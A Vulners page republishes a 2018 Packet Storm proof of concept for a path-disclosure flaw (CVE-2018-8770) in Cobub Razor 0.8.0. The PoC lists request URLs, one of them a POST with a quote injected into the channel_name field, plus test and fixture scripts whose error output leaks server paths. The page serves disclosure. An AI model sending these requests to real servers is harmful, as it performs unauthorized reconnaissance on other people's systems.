Lucene search
K

Cobub Razor 0.8.0 Path Disclosure

🗓️ 20 Apr 2018 00:00:00Reported by KyhvednType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 28 Views

Cobub Razor 0.8.0 Physical path Leakage Vulnerability 201

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Cobub Razor 0.8.0 - Physical path Leakage Vulnerability
20 Apr 201800:00
zdt
ATTACKERKB
CVE-2018-8770
18 Mar 201806:29
attackerkb
CNVD
Western Bridge Cobub Razor Physical Path Disclosure Vulnerability (CNVD-2018-07345)
19 Mar 201800:00
cnvd
CVE
CVE-2018-8056
11 Mar 201818:00
cve
CVE
CVE-2018-8770
18 Mar 201806:00
cve
Cvelist
CVE-2018-8056
11 Mar 201818:00
cvelist
Cvelist
CVE-2018-8770
18 Mar 201806:00
cvelist
Exploit DB
Cobub Razor 0.8.0 - Physical Path Leakage
20 Apr 201800:00
exploitdb
EUVD
EUVD-2018-19738
7 Oct 202500:30
euvd
exploitpack
Cobub Razor 0.8.0 - Physical Path Leakage
20 Apr 201800:00
exploitpack
Rows per page
`# Exploit Title: Cobub Razor 0.8.0 Physical path Leakage Vulnerability  
# Date: 2018-04-19  
# Exploit Author: Kyhvedn  
# Vendor Homepage: http://www.cobub.com/  
# Software Link: https://github.com/cobub/razor  
# Version: 0.8.0  
# CVE : CVE-2018-8770  
  
#PoC:  
  
URL: http://localhost/export.php  
HTTP Method: GET  
URL: http://localhost/index.php?/manage/channel/addchannel  
HTTP Method: POST  
Data: channel_name=test"&platform=1  
  
HTTP Method: GET  
http://localhost/tests/generate.php  
http://localhost/tests/controllers/getConfigTest.php  
http://localhost/tests/controllers/getUpdateTest.php  
http://localhost/tests/controllers/postclientdataTest.php  
http://localhost/tests/controllers/posterrorTest.php  
http://localhost/tests/controllers/posteventTest.php  
http://localhost/tests/controllers/posttagTest.php  
http://localhost/tests/controllers/postusinglogTest.php  
http://localhost/tests/fixtures/Controller_fixt.php  
http://localhost/tests/fixtures/Controller_fixt2.php  
http://localhost/tests/fixtures/view_fixt2.php  
http://localhost/tests/libs/ipTest.php  
http://localhost/tests/models/commonDbfix.php  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Apr 2018 00:00Current
5.6Medium risk
Vulners AI Score5.6
EPSS0.60586
28